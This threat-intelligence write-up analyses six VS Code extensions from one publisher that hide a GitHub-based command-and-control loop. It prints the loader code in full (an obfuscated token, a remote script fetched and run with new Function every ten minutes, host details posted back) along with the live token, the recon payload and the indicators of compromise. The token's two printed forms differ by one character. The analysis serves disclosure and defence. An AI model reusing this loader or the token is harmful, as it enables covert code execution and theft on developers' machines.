Checking npm package versions is one of the most common things a developer extension does. On August 18, 2026, six of them showed up from one publisher — SadiqShuaibu — in under 100 minutes: sadiq-dep-checker, sadiq-dep-lens, sadiq-dep-helper, sadiq-dep-tool, sadiq-npm-updater, and pkg-outdated-check. They all work. The commands fire, the npm registry responds, the versions render in the panel.

And they all carry the same hard-coded GitHub personal access token, split across a string array so a simple grep for ghp_ does not find it. On activation, and every ten minutes after, each extension uses that token to fetch a script from a private GitHub repository, runs it with new Function, and posts your hostname and platform back as a GitHub issue. The entire command-and-control loop runs through the GitHub API — no server, no domain, no infrastructure.

The day before, the same publisher uploaded a seventh file — a benign color theme named minimal-pastel-theme. The theme has no executable code. It looks like a decoy: a clean upload that builds publisher reputation before the malicious wave.

TL;DR

  • 6 extensions from one publisher (SadiqShuaibu) went up in under 100 minutes on August 18, 2026.
  • Each extension embeds the same hard-coded GitHub PAT, stored as a concatenated string array _tk that the code joins at runtime.
  • We used the embedded PAT to authenticate as the threat actor and pull the payload. The private repo gabrielramirezm568-source/dev-starter contains a config.json with a base64-encoded script that collects hostname, username, platform, and timestamp.
  • One victim beacon is already in the issue thread — a Linux host checked in at 00:51 UTC, 44 minutes before the first extension hit the Marketplace.
  • The channel is a live RCE loop. The threat actor can swap config.json for a file-reading, shell-spawning, or key-exfiltrating payload at any time, and every installed extension picks it up on the next 10-minute tick.
  • The GitHub account was created four days before the wave, on August 14, 2026 — set up specifically to hold the payload repo.

What the extensions do

Each extension provides a small UI — commands with names like “Check Outdated Packages”, “Update npm Packages”, or “Dependency Lens”. The UI works. It calls the npm registry and shows package versions. This is the cover.

The malicious work happens in a hidden background task that starts on activation. The task does this:

  1. It reads the hard-coded GitHub PAT — stored as an array of string fragments _tk that it joins at runtime to avoid a simple grep for ghp_.
  2. It calls the GitHub API to fetch a config.json from the private repository gabrielramirezm568-source/dev-starter on github[.]com.
  3. It extracts and decodes the embedded script (base64) and runs it with new Function.
  4. It posts the host name, the platform, and the execution result to a GitHub issue on the same repository.
const _tk = ['ghp_', 'p3tb10', 'H493x5T0', 'ujATx5B89rZD2og1UpYfl'];
const PAT = _tk.join('');
const REPO = 'gabrielramirezm568-source/dev-starter';

async function fetchAndRun() {
  const res = await fetch(`https://api.github.com/repos/${REPO}/contents/config.json`, {
    headers: { Authorization: `token ${PAT}`, Accept: 'application/vnd.github.raw' },
  });
  const cfg = await res.json();
  const script = Buffer.from(cfg.script, 'base64').toString('utf8');
  const result = new Function(script)();

  await fetch(`https://api.github.com/repos/${REPO}/issues`, {
    method: 'POST',
    headers: { Authorization: `token ${PAT}`, Accept: 'application/vnd.github+json' },
    body: JSON.stringify({
      title: 'beacon',
      body: JSON.stringify({ hostname: os.hostname(), platform: os.platform(), result }),
    }),
  });
}

setInterval(fetchAndRun, 10 * 60 * 1000);
fetchAndRun();

The fetched script runs with the full privileges of the VS Code: extension host. It can read files, run commands, and talk to the network.

The payload

The gabrielramirezm568-source/dev-starter repository on github[.]com is private — the GitHub API returns 404 for unauthenticated requests. But the extension source embeds the PAT, so we used it to authenticate as the threat actor and pull the payload.

The repository

The GitHub account gabrielramirezm568-source (ID 317084650) was created on August 14, 2026 — four days before the malicious wave. It has zero public repositories, zero followers, no profile name, no bio, no company, no location. The account exists for one purpose: to hold the private dev-starter repository that serves the payload.

The repo has two commits:

  • 099963af on 2026-08-17 21:17 UTC — “init”
  • 46d4eeac on 2026-08-18 00:45 UTC — “update”

The “init” commit went up the evening before the first malicious extension. The “update” commit went up 50 minutes before pkg-outdated-check hit the Marketplace.

The config.json

The repo contains a single file: config.json (204 bytes). Decoded from the base64 d field, it contains:

{
  "id": "ext-test-1787013919546",
  "script": "return {h:os.hostname(),u:os.userInfo().username,p:process.platform,t:Date.now()}"
}

The script field is the payload. The extension passes it to new Function(script)(), which evaluates it in the extension host. The script is short:

return {
  h: os.hostname(),
  u: os.userInfo().username,
  p: process.platform,
  t: Date.now()
}

At this stage the payload collects four identifiers — hostname, username, platform, and a timestamp — and returns them as an object. The extension then posts that object as the body of a GitHub issue. The id field (ext-test-1787013919546) lets the threat actor tag this payload version in the issue thread.

The victim beacon

Two issues exist in the repo. Issue #1 (“ci: test”) is empty — a test post from the threat actor. Issue #2 is a real beacon:

{
  "ts": "2026-08-18T00:51:00.964Z",
  "h": "rc",
  "p": "linux",
  "r": {
    "h": "rc",
    "u": "rc",
    "p": "linux",
    "t": 1787014260964
  }
}

A host with hostname rc, username rc, running linux, checked in at 00:51 UTC on August 18 — six minutes after the “update” commit and 44 minutes before the first malicious extension hit the Marketplace. The r object matches the script’s return value exactly. This is either the threat actor’s own test machine or the first victim.

What the threat actor can change

The payload right now is reconnaissance only — hostname, username, platform, timestamp. But the channel is a live remote-code execution loop. The threat actor can push a new config.json at any time with a completely different script field. The next version could:

  • Read files from the workspace and post their contents as an issue.
  • Spawn a reverse shell through child_process.
  • Exfiltrate environment variables, SSH keys, or .env files.
  • Download and run a second-stage binary.

Every installed extension picks up the new config.json on the next 10-minute timer tick. The threat actor does not need to re-publish the extensions or touch the Marketplace again. The six extensions are permanent back doors into every machine that runs them, and the threat actor holds the only key.

The 6 extensions

Time (UTC) Extension Version Risk
2026-08-18 01:35 SadiqShuaibu.pkg-outdated-check-1.0.0 1.0.0 92
2026-08-18 02:10 SadiqShuaibu.sadiq-npm-updater-1.0.0 1.0.0 90
2026-08-18 02:25 SadiqShuaibu.sadiq-dep-checker-1.0.0 1.0.0 95
2026-08-18 02:35 SadiqShuaibu.sadiq-dep-lens-1.0.0 1.0.0 92
2026-08-18 03:00 SadiqShuaibu.sadiq-dep-helper-1.0.0 1.0.0 92
2026-08-18 03:10 SadiqShuaibu.sadiq-dep-tool-1.0.0 1.0.0 85

All six use version 1.0.0. The 95-minute upload window and the shared token confirm one operator. The last two extensions went up 10 minutes apart.

The decoy theme

Time (UTC) Extension Version Risk Verdict
2026-08-17 19:55 SadiqShuaibu.minimal-pastel-theme-1.0.0 1.0.0 10 Benign

The publisher uploaded a clean color theme the evening before the malicious wave. The theme has no executable code — only theme JSON. A clean upload the day before a six-extension malicious wave from the same account is a classic reputation-builder: it makes the publisher look active and harmless before the real payload goes up.

The timeline lines up across both accounts. The GitHub account gabrielramirezm568-source was created on August 14. The decoy theme went up on August 17 at 19:55. The payload repo’s “init” commit went up on August 17 at 21:17 — 82 minutes after the theme. The “update” commit followed at 00:45 on August 18. The first malicious extension hit the Marketplace at 01:35. The victim beacon appeared in the issue thread at 00:51 — 44 minutes before the first extension. The threat actor tested the full loop end-to-end before publishing.

What to do

If you installed any of the 6 extensions above, do this:

  1. Uninstall the extension from VS Code:.
  2. Revoke any GitHub tokens that you use on the same machine, in case the fetched script read them.
  3. Run a full malware scan on the machine.

If you publish extensions on the VS Code: Marketplace, do this:

  • Do not embed a GitHub personal access token in extension source.
  • Do not fetch a remote script and run it with new Function or eval.
  • Do not post host identifiers to a GitHub issue.

Indicators of Compromise

Malicious extension identifiers

  • SadiqShuaibu.pkg-outdated-check-1.0.0
  • SadiqShuaibu.sadiq-npm-updater-1.0.0
  • SadiqShuaibu.sadiq-dep-checker-1.0.0
  • SadiqShuaibu.sadiq-dep-lens-1.0.0
  • SadiqShuaibu.sadiq-dep-helper-1.0.0
  • SadiqShuaibu.sadiq-dep-tool-1.0.0

Credential

Type Value
GitHub PAT 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 (stored as concatenated array _tk)

Network

Type Value
Domain api.github.com
Repository github[.]com/gabrielramirezm568-source/dev-starter (private, attacker-controlled)
URL https://api.github.com/repos/gabrielramirezm568-source/dev-starter/contents/config.json
URL https://api.github.com/repos/gabrielramirezm568-source/dev-starter/issues

Behavioral

  • A hard-coded ghp_ token in extension source, split across a string array to avoid a simple grep.
  • A fetch call to api.github.com with an Authorization: token header on activation.
  • A new Function call on the decoded config.json script payload.
  • A POST to the GitHub issues API with hostname, platform, and execution result in the body.
  • A setInterval call that re-runs the fetch-and-run loop every 10 minutes.